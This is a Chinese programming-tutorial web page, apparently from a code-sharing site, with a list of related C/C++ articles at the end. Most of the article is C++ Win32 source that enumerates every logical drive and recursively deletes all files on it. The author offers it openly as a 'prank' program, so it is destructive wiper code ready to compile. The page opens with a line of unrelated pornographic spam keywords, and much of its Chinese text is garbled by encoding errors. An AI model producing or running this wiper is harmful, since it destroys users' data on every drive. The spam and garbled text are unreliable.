欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

基于Windows API實現(xiàn)遍歷所有文件并刪除的方法

 更新時間:2015年04月20日 10:26:35   作者:司青  
這篇文章主要介紹了基于Windows API實現(xiàn)遍歷所有文件并刪除的方法,是win32應(yīng)用程序的一個比較典型的文件操作應(yīng)用技巧,需要的朋友可以參考下

本文實例講述了基于Windows API實現(xiàn)遍歷所有文件并刪除的方法。分享給大家供大家參考。具體分析如下:

最近一直在學(xué)windows API,弄了一些好玩的東西(有點惡作劇了,請大家謹(jǐn)慎使用)...
下面是我現(xiàn)學(xué)現(xiàn)賣寫的一個刪除硬盤上所有文件的小程序 ....

#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
 WIN32_FIND_DATA data;
 HANDLE hFind;
 char cFullPath[100];
 char cNewPath[100];
 sprintf_s(cFullPath,"%s\\*.*",cFilePath);
 hFind=FindFirstFile(cFullPath,&data);
 do
 {
 if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
 {
  continue;
 }
 if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
 {
  sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);
  DelFile(cNewPath);//遞歸
 }
// MessageBox(NULL,data.cFileName,"Look",0);
 sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);
 DeleteFile(cFullPath);
 }while(FindNextFile(hFind,&data));
}
int WINAPI WinMain(
 HINSTANCE hInstance,   // handle to current instance
 HINSTANCE hPrevInstance, // handle to previous instance
 LPSTR lpCmdLine,     // command line
 int nCmdShow       // show state
)
{
 DWORD dwDrive=GetLogicalDrives();
 bitset<32> bit(dwDrive);
 char Path[3]={'a',':','\0'};
 for(int ix=0;ix!=32;ix++)
 {
 if(bit.test(ix))
 {
  Path[0]='A'+ix;
  DelFile(Path);
 }
 }
 return 0;
}

希望本文所述對大家的win32程序設(shè)計有所幫助。

相關(guān)文章

  • VisualStudio2010安裝教程

    VisualStudio2010安裝教程

    這篇文章通過圖文并茂的形式給大家介紹VisualStudio2010安裝教程,在日常開發(fā)中是必不可少的搭建過程,感興趣的朋友跟隨小編一起看看吧
    2021-11-11
  • c++驗證哥德巴赫猜想

    c++驗證哥德巴赫猜想

    這篇文章主要介紹了c++驗證哥德巴赫猜想,哥德巴赫猜想就是任一大于2的偶數(shù),都可表示成兩個素數(shù)之和,需要的朋友可以參考下
    2014-04-04
  • C語言函數(shù)封裝及變量的作用域

    C語言函數(shù)封裝及變量的作用域

    這篇文章主要介紹了C語言函數(shù)封裝及變量的作用域,以及分享一些字符串的相關(guān)實戰(zhàn)練習(xí),字符串轉(zhuǎn)整數(shù)、整數(shù)轉(zhuǎn)字符串、浮點數(shù)轉(zhuǎn)字符串、字符串轉(zhuǎn)浮點數(shù)、判斷平年閏年、技術(shù)字符串長度等等。下文詳細內(nèi)容需要的小伙伴可以參考一下
    2022-05-05
  • C++實現(xiàn)冒泡排序(BubbleSort)

    C++實現(xiàn)冒泡排序(BubbleSort)

    這篇文章主要為大家詳細介紹了C++實現(xiàn)冒泡排序,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2020-04-04
  • 基于VC 6.0使用C語言實現(xiàn)俄羅斯方塊

    基于VC 6.0使用C語言實現(xiàn)俄羅斯方塊

    這篇文章主要為大家詳細介紹了基于VC 6.0使用C語言實現(xiàn)俄羅斯方塊,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2018-06-06
  • C/C++舉例講解關(guān)鍵字的用法

    C/C++舉例講解關(guān)鍵字的用法

    相對于其他語言來說,C語言的關(guān)鍵字算是少的了。在C98中關(guān)鍵子總共只有32個,我們來分析一下部分關(guān)鍵字在C/C++中它獨特的作用
    2022-05-05
  • C語言實現(xiàn)二叉樹層次遍歷介紹

    C語言實現(xiàn)二叉樹層次遍歷介紹

    大家好,本篇文章主要講的是C語言實現(xiàn)二叉樹層次遍歷介紹,感興趣的同學(xué)趕快來看一看吧,對你有幫助的話記得收藏一下
    2022-01-01
  • Qt實現(xiàn)簡易計時器的示例代碼

    Qt實現(xiàn)簡易計時器的示例代碼

    計時器實現(xiàn)四個功能:開始計時、停止計時、暫停計時以及打點。當(dāng)點擊暫停時,開始按鈕和停止按鈕無法點擊。當(dāng)點擊停止時,開始按鈕和暫停按鈕無法點擊,此時停止按鈕變?yōu)榍辶恪1疚膶⒂肣t實現(xiàn)這樣的一個計時器,需要的可以參考一下
    2022-06-06
  • OpenCV實現(xiàn)人臉檢測功能

    OpenCV實現(xiàn)人臉檢測功能

    這篇文章主要為大家詳細介紹了OpenCV實現(xiàn)人臉檢測功能,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2020-02-02
  • C++中十種內(nèi)部排序算法的比較分析

    C++中十種內(nèi)部排序算法的比較分析

    本文給大家分享的是個人寫的一段對C++中十種內(nèi)部排序算法的比較分析的代碼,主要在于測試10種排序方法的性能,給大家參考下吧。
    2015-03-03

最新評論